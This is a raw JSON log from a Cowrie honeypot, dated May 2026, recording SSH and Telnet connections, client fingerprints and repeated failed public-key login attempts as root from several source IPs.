{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:f6:0f:5d:3f:12:44:a2:6d:9e:46:ab:ca:8d:9c:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC71RQViT5e9xd9eAigei0A/l0hV5qtNlGuZS0+7yYtUgdohOLxxEx2mWPEzqguAgoNmdTtpfz8nc74OsXqrfLRBWBBOx6Bu4NCThAtY/XrmPHQObQ49FDmPUZhvCO2carCcIUfLjKi47l8yKrNCeihPNIFkvgiX64lJBhKzYxw+KgEV9A6FNFwNt4BvT3fHDTXajvMX+ft+K9z4eAZMUVht3MaFiowjniijiNuFDB4UffL+VLlfnfqZd0YSBgulFaxS3A6PazPQiWzzmMj38reCGBCyykkcD4F9mhUUD5aFeSImo/1OzVzRpIWHnEJkYz80qGGKutVEYGUEc366Sw0satIqo2BT+e5ai/h9Wl4WoJ8yF2rr4jsuqGzAP1oe2v+vQtHsSdwskn8DCeY4M3ZtVwhVWPe/18Mu9qlNzri/JlgJXijdzxoFOjkwKD18arDoXvPzkaGTolu7rHySgYgRtAnc77Z+F4D/uA44/cOUb+Las5q+BX+sKUfZzG1YBK7AMy/gJG0CF1ugVfUdQdsiNgblBbum91E2+4isGMp1TYxlFUbWvxPTOixuih2Y2xE/2ENw2+fLGc75XKAX+CkyPrlvTuxnAHRWkzM5/AL3T/s5YRCos+yiEkPlh209zr8abSh+saCBYkesFaF9GgTKgtlsBqTfPcckfkIIHoemw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.743398Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.749943Z","src_ip":"62.133.62.83","session":"987d29c4801f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:aa:63:1d:94:0b:c5:c6:13:5f:51:3d:dc:4d:92:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC9r40NOnHZQr9Y8dxhTBKcXTIab+Bz0mZi4Y4gXFpGaJx28J2hpqHu61KsDaPQwKc7dgZnYzNbtk+f9IFh4UvRTVLEu4r8JnHsD5pLHFoJUAH/FP7BFQYlNPOGcpu5vVj53o9lyQlASE+tcDFlzApPWXgC1fl7bVf0E38RK+ri6rYZIdTxZoXKBzAAdEgpqkP7pYeK5aIimEWPBPT0aY43JJFUGps780IQRHbAlP5UJ9hgqW4qofdlEoOawcCAVy245NuUxxquI75LB6FdsE4hN9pGZm6uUUxnur/QTr0Z7kWsqbiav5RpMbT2O0HryKfewLG4u7IzNIcfWJD+E1B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:aa:63:1d:94:0b:c5:c6:13:5f:51:3d:dc:4d:92:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.824617Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:aa:63:1d:94:0b:c5:c6:13:5f:51:3d:dc:4d:92:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC9r40NOnHZQr9Y8dxhTBKcXTIab+Bz0mZi4Y4gXFpGaJx28J2hpqHu61KsDaPQwKc7dgZnYzNbtk+f9IFh4UvRTVLEu4r8JnHsD5pLHFoJUAH/FP7BFQYlNPOGcpu5vVj53o9lyQlASE+tcDFlzApPWXgC1fl7bVf0E38RK+ri6rYZIdTxZoXKBzAAdEgpqkP7pYeK5aIimEWPBPT0aY43JJFUGps780IQRHbAlP5UJ9hgqW4qofdlEoOawcCAVy245NuUxxquI75LB6FdsE4hN9pGZm6uUUxnur/QTr0Z7kWsqbiav5RpMbT2O0HryKfewLG4u7IzNIcfWJD+E1B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.828567Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:23:98:be:c5:6e:b2:3c:69:03:69:a2:85:b6:0f:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxqG7ITUorf+B0a+/DdAiM+/ZkQqNnkbhvLB188fQHd4ZHzKq940R7u5erDbayZkGZCr4vp6/BKnRdcrvb+YkxBTYDTlS5TNnE2yRt73h1o/TnyBXNrLGM6z2IWnZYJOBmKBe2dTfCcfyCa+S+3fCkjuMhd7JJbEXJycHJv5vsWLr2xLxLRjdQSaMLGS1CIfoiOyCw/NAuyIVdih7sdmPI8aY7E2TRfDFYgnLVqdUFgZaj59Ir4A3tafwbzcOcvwqCacMxZ250VkJDxcmyOG0babc4lgwLepaQa9XH3FClSNCdUwXE76KG38RfJnPMgIwW8nijI4alVsB/1Ec7Gx6Nw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:23:98:be:c5:6e:b2:3c:69:03:69:a2:85:b6:0f:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.909410Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:23:98:be:c5:6e:b2:3c:69:03:69:a2:85:b6:0f:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxqG7ITUorf+B0a+/DdAiM+/ZkQqNnkbhvLB188fQHd4ZHzKq940R7u5erDbayZkGZCr4vp6/BKnRdcrvb+YkxBTYDTlS5TNnE2yRt73h1o/TnyBXNrLGM6z2IWnZYJOBmKBe2dTfCcfyCa+S+3fCkjuMhd7JJbEXJycHJv5vsWLr2xLxLRjdQSaMLGS1CIfoiOyCw/NAuyIVdih7sdmPI8aY7E2TRfDFYgnLVqdUFgZaj59Ir4A3tafwbzcOcvwqCacMxZ250VkJDxcmyOG0babc4lgwLepaQa9XH3FClSNCdUwXE76KG38RfJnPMgIwW8nijI4alVsB/1Ec7Gx6Nw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.913100Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:7d:b7:ba:62:db:17:5d:ae:4b:02:26:36:e5:8d:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnbOj/XJ7M/ReyT335/kwUK0gK5kDQWzFqwNXrhcGg4FhS+JnWKmzVMamg1XYiqeHeTinDULmHLWOuuAs3qI1nfh/3MKdbQ8Ts4mbXlRL9xFLeJT7P1ZSy2rFiePQgnP+5BcxyLtoVWeN8Nn0+yfbpjczM+N7ykN2CnElykP9mGPVv+fNePHcDT2+xVg+9kgdKflyEzsmEy0LRQ4IfbM4VDdiluKv1FSNa3X7MUfkYcuLHYVWSsbMRVQCUttc9Ip13DyrDBV18EcHQ5fJEGKQNcwilnTBQLUKG0l+eDP62c3pxA4qFj5UqeDRkq27vtMLPCUrfqZPd52ae1lGsa7T3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:7d:b7:ba:62:db:17:5d:ae:4b:02:26:36:e5:8d:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.995102Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:7d:b7:ba:62:db:17:5d:ae:4b:02:26:36:e5:8d:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnbOj/XJ7M/ReyT335/kwUK0gK5kDQWzFqwNXrhcGg4FhS+JnWKmzVMamg1XYiqeHeTinDULmHLWOuuAs3qI1nfh/3MKdbQ8Ts4mbXlRL9xFLeJT7P1ZSy2rFiePQgnP+5BcxyLtoVWeN8Nn0+yfbpjczM+N7ykN2CnElykP9mGPVv+fNePHcDT2+xVg+9kgdKflyEzsmEy0LRQ4IfbM4VDdiluKv1FSNa3X7MUfkYcuLHYVWSsbMRVQCUttc9Ip13DyrDBV18EcHQ5fJEGKQNcwilnTBQLUKG0l+eDP62c3pxA4qFj5UqeDRkq27vtMLPCUrfqZPd52ae1lGsa7T3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.999369Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:41.081626Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.569531202316284,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:41.891495Z","src_ip":"152.42.224.71","session":"37e9392de4b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.66830539703369,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:44.339858Z","src_ip":"152.42.224.71","session":"cd44a09d2ed9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00481843948364,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:47.933047Z","src_ip":"152.42.224.71","session":"bd615acea014","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":110.55337977409363,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:49.466252Z","src_ip":"152.42.224.71","session":"261939649380","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.114","src_port":59008,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5a7739628dc","protocol":"ssh","message":"New connection: 148.113.221.114:59008 (10.17.0.5:22) [session: a5a7739628dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.584516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.589198Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.608660Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:c8:6c:50:e0:c5:f8:8e:1e:0e:81:7f:f6:19:0b:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvobEQzDFwRkNzcCAAHqs0mYzaNdnWT245gHxZ7XkrNNFA+RVwAYi4vbQcBWDayF3druF8PfZISZmfOCAiwAC77+RBMozflPu+Q97VN7OuaHMKpqWI3LRmzsyZaeE90XX2bj5p9nSwORQ3OzLwPcVsNJ0+djMYbbJ3DZv0Ky/Fu1y6AchQdWClLk46odZ+dO0rNmJkycbvJBIV4jFg7+Q9drSpTEolLRkqLTOyTLMW6/KgND6Pcxcv9e3/X8GB6CKhakh/Xycy2CYDmlR6ujeCHXnmADa4JFcBW4QWTiwnMvFmqb/4sscxc0VyCcswVAFcTVqW2g6YXyUEBscQ1wUbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:c8:6c:50:e0:c5:f8:8e:1e:0e:81:7f:f6:19:0b:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.685167Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:c8:6c:50:e0:c5:f8:8e:1e:0e:81:7f:f6:19:0b:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvobEQzDFwRkNzcCAAHqs0mYzaNdnWT245gHxZ7XkrNNFA+RVwAYi4vbQcBWDayF3druF8PfZISZmfOCAiwAC77+RBMozflPu+Q97VN7OuaHMKpqWI3LRmzsyZaeE90XX2bj5p9nSwORQ3OzLwPcVsNJ0+djMYbbJ3DZv0Ky/Fu1y6AchQdWClLk46odZ+dO0rNmJkycbvJBIV4jFg7+Q9drSpTEolLRkqLTOyTLMW6/KgND6Pcxcv9e3/X8GB6CKhakh/Xycy2CYDmlR6ujeCHXnmADa4JFcBW4QWTiwnMvFmqb/4sscxc0VyCcswVAFcTVqW2g6YXyUEBscQ1wUbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.697878Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:59:25:1e:c0:9e:81:03:71:30:5f:55:f9:96:58:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzHCTuxPlKtGknj25/Rab8tL4xElYyFJPUiwRVfWW3U1Ne0qabRpFWp01YuDht39X0MXZSEIrEPyLMKfay9vhn7rEYTyW7yvV9rADdRrrxP83WpuM5XPhmX8D/T74eXN7DFcP2COVobY1paMQ29FpSKCW/NAqSToW3TwgxRKDqettZypxXBk2TC+OmpTCm27uY8xuSyouX7AS4R5gDCNnFygIMjkoR+GAGClDQTnniMLWRlUUNmiGpxMlacp742dO+wqrujZpC6ggJ6W31KhGR/fiJpbQq2/q1dHFt3+TL9Qw+6gQav1f7YnZpGvuBW611jpp9zSRilrabvJ1GYWkNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:59:25:1e:c0:9e:81:03:71:30:5f:55:f9:96:58:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.718691Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:59:25:1e:c0:9e:81:03:71:30:5f:55:f9:96:58:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzHCTuxPlKtGknj25/Rab8tL4xElYyFJPUiwRVfWW3U1Ne0qabRpFWp01YuDht39X0MXZSEIrEPyLMKfay9vhn7rEYTyW7yvV9rADdRrrxP83WpuM5XPhmX8D/T74eXN7DFcP2COVobY1paMQ29FpSKCW/NAqSToW3TwgxRKDqettZypxXBk2TC+OmpTCm27uY8xuSyouX7AS4R5gDCNnFygIMjkoR+GAGClDQTnniMLWRlUUNmiGpxMlacp742dO+wqrujZpC6ggJ6W31KhGR/fiJpbQq2/q1dHFt3+TL9Qw+6gQav1f7YnZpGvuBW611jpp9zSRilrabvJ1GYWkNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.722581Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:5f:cf:3a:4e:60:c4:63:85:cb:b2:4a:b2:54:1b:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmzIxf6cEDfa+QT2W1kW6Yir4WgqMImsc8tJIQtgTdBpRXZcnQTQovDlOFVU4RMAXnay+dvVKoKFM+3DMWes42K+LRTD+9xnOFOpn3BskuC1XZUVVjs+fbU9/bW2bu+YTORQThzheAVCEn2d4ssVgW+fexOa/V9fshwp/b1uao8KQp+uhE/ZXabAAYf1oiH3330s2ARqSs6Y0J0B5QtGLdJ7+/B8iTTypQYPD6RN8BbVuQgoS6mgvXWMjTjhfl2wm1P3KCfIf9HKfnPlUSbxojJuXELqzJzcedgih6v5K5Hpnmd1SmTdue/JDakLxA0CQB5KSREY6pXiFuQ183iO5MSAYauuAaMxH67RbO4L/jDJ/YDuM22db3KuGie8M3fHkPcDF6iME8sqyqPdQ1VqSFD0rs8iSgiuPbKGVkpQHzKhLa92p013uZ5tpB1ET6nQelWt/4belMgY9bwsKwMRl1XkK28dCTNT15qOQu+d2PO2/tfZyAG5VdNqlkW2BzXmZ3eFWu4JbR1b4/VJK6lAaSxJ8+5Y0DmduTLt8gCLWHhle+iELZ9DwWHfCX8Lv08Ukd5OZmkCPGUkKh2tM/KtgaoQcaBxV/PGxuF/41D+QxxqaP1ll4YN0tj6UdapH1lqqe+zWcn6LaRSeQV2OEvLcbqAFxBQAnKv5Qb1JdPgnFsQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:5f:cf:3a:4e:60:c4:63:85:cb:b2:4a:b2:54:1b:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.743772Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:5f:cf:3a:4e:60:c4:63:85:cb:b2:4a:b2:54:1b:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmzIxf6cEDfa+QT2W1kW6Yir4WgqMImsc8tJIQtgTdBpRXZcnQTQovDlOFVU4RMAXnay+dvVKoKFM+3DMWes42K+LRTD+9xnOFOpn3BskuC1XZUVVjs+fbU9/bW2bu+YTORQThzheAVCEn2d4ssVgW+fexOa/V9fshwp/b1uao8KQp+uhE/ZXabAAYf1oiH3330s2ARqSs6Y0J0B5QtGLdJ7+/B8iTTypQYPD6RN8BbVuQgoS6mgvXWMjTjhfl2wm1P3KCfIf9HKfnPlUSbxojJuXELqzJzcedgih6v5K5Hpnmd1SmTdue/JDakLxA0CQB5KSREY6pXiFuQ183iO5MSAYauuAaMxH67RbO4L/jDJ/YDuM22db3KuGie8M3fHkPcDF6iME8sqyqPdQ1VqSFD0rs8iSgiuPbKGVkpQHzKhLa92p013uZ5tpB1ET6nQelWt/4belMgY9bwsKwMRl1XkK28dCTNT15qOQu+d2PO2/tfZyAG5VdNqlkW2BzXmZ3eFWu4JbR1b4/VJK6lAaSxJ8+5Y0DmduTLt8gCLWHhle+iELZ9DwWHfCX8Lv08Ukd5OZmkCPGUkKh2tM/KtgaoQcaBxV/PGxuF/41D+QxxqaP1ll4YN0tj6UdapH1lqqe+zWcn6LaRSeQV2OEvLcbqAFxBQAnKv5Qb1JdPgnFsQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.748531Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:30:b6:80:3a:fe:0c:5c:7b:1c:d7:e3:0a:14:8a:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUAIhCW5RRZAjzGiPBo/3GZ5VhG6KhDtqYd/0dr/fa5QlTDvSIlsLWZIP6KQ7ZAIBjyuC7i4y37Lh4LqKP3sKGrvQqb3LHRudWxNnuVhRXYZNrXgBFduzoVaXBPBZ9b3NLuGumkqSAefV0Cnh7X/JRigSt4JRmjYyqnIu/7rOusvK/iJ9YMZdXjbk8FxyBD0QA8Ly+hjgfCWv9FT9amBt92k36DuLXhcZeTaO5ebSCjxi8nj8kkb/KTmr3TGFdzfedRIfaGOwn+4uKK/ZB6ALG0XnqV6r6Tma+JB1iN3mK9MG7nqj35f8lWLJZwY0bIQGU9BEWo6jA9iaeNGHqI5DDWptYRewcB8bhXj9L47co2MuU6VjbHCUrxIXKt+6iJgMbUJIcgJj60zI85OJOjh99dmEe5roQ8tpmWW5usjIwer0AdvH/ojRgqsBuFDjx3R25ZrkT57HvYlp1w8H+XiigEwbEPfi9aapK8hAgHWuCCSNT2SgKAOA2nQbAdBPdMaRdSBKImli9vKF6fTGkXS9HP+KxrDjScAcPj0jaYdiVJcLY0bsZXZmvrgNzc79NhcyxU0mHUTaxd2nSlEvk+ZFM3q2QbSukaQ7YeerEFyjkVnsBX2SP+uJ/lEN95j5pUQ9Bg9r6HULN1HKxl2w7Nvf0hrkzv48itdrmOrmV/LyAMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:30:b6:80:3a:fe:0c:5c:7b:1c:d7:e3:0a:14:8a:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.769665Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:30:b6:80:3a:fe:0c:5c:7b:1c:d7:e3:0a:14:8a:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUAIhCW5RRZAjzGiPBo/3GZ5VhG6KhDtqYd/0dr/fa5QlTDvSIlsLWZIP6KQ7ZAIBjyuC7i4y37Lh4LqKP3sKGrvQqb3LHRudWxNnuVhRXYZNrXgBFduzoVaXBPBZ9b3NLuGumkqSAefV0Cnh7X/JRigSt4JRmjYyqnIu/7rOusvK/iJ9YMZdXjbk8FxyBD0QA8Ly+hjgfCWv9FT9amBt92k36DuLXhcZeTaO5ebSCjxi8nj8kkb/KTmr3TGFdzfedRIfaGOwn+4uKK/ZB6ALG0XnqV6r6Tma+JB1iN3mK9MG7nqj35f8lWLJZwY0bIQGU9BEWo6jA9iaeNGHqI5DDWptYRewcB8bhXj9L47co2MuU6VjbHCUrxIXKt+6iJgMbUJIcgJj60zI85OJOjh99dmEe5roQ8tpmWW5usjIwer0AdvH/ojRgqsBuFDjx3R25ZrkT57HvYlp1w8H+XiigEwbEPfi9aapK8hAgHWuCCSNT2SgKAOA2nQbAdBPdMaRdSBKImli9vKF6fTGkXS9HP+KxrDjScAcPj0jaYdiVJcLY0bsZXZmvrgNzc79NhcyxU0mHUTaxd2nSlEvk+ZFM3q2QbSukaQ7YeerEFyjkVnsBX2SP+uJ/lEN95j5pUQ9Bg9r6HULN1HKxl2w7Nvf0hrkzv48itdrmOrmV/LyAMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.773977Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:79:b8:35:18:02:36:cd:0b:6e:f8:58:53:31:d6:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAi0MZ++km70SeKvTrGFey4MC9iI3RiZzSBVys61x2c9Ev37k/CcYc0U1xrR6ejR4biiWiKwjEAwC42OrPPC919bHoMc6e3ch7fkJy1INZbsmA25I+KPbkZX3jSLZ48VxhRCAmtLHfWcof2jjoRnmojlSmLQAlWa/GnQtXoeKc7ZagbxYP0TdIB6vsyvTOhWX6A/HaxuAZCScMM6suzfrH2Tju+7sfDdNHvzcXb2QlrSPmRIrtZ45HyM5cJyyHRoHEKmTbKFO0ZCogUKRMOh6VbWQ1noUh2wGLFUSfxoLrxXUd75wyoS6PLAoKE5PY6sIiB4yMzEr3OBQ4sNbZ/aD7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:79:b8:35:18:02:36:cd:0b:6e:f8:58:53:31:d6:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.797010Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:79:b8:35:18:02:36:cd:0b:6e:f8:58:53:31:d6:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAi0MZ++km70SeKvTrGFey4MC9iI3RiZzSBVys61x2c9Ev37k/CcYc0U1xrR6ejR4biiWiKwjEAwC42OrPPC919bHoMc6e3ch7fkJy1INZbsmA25I+KPbkZX3jSLZ48VxhRCAmtLHfWcof2jjoRnmojlSmLQAlWa/GnQtXoeKc7ZagbxYP0TdIB6vsyvTOhWX6A/HaxuAZCScMM6suzfrH2Tju+7sfDdNHvzcXb2QlrSPmRIrtZ45HyM5cJyyHRoHEKmTbKFO0ZCogUKRMOh6VbWQ1noUh2wGLFUSfxoLrxXUd75wyoS6PLAoKE5PY6sIiB4yMzEr3OBQ4sNbZ/aD7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.800903Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:51.820559Z","src_ip":"148.113.221.114","session":"a5a7739628dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41132,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b74079e798e","protocol":"telnet","message":"New connection: 152.42.224.71:41132 (10.17.0.5:23) [session: 1b74079e798e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:53.839715Z"}
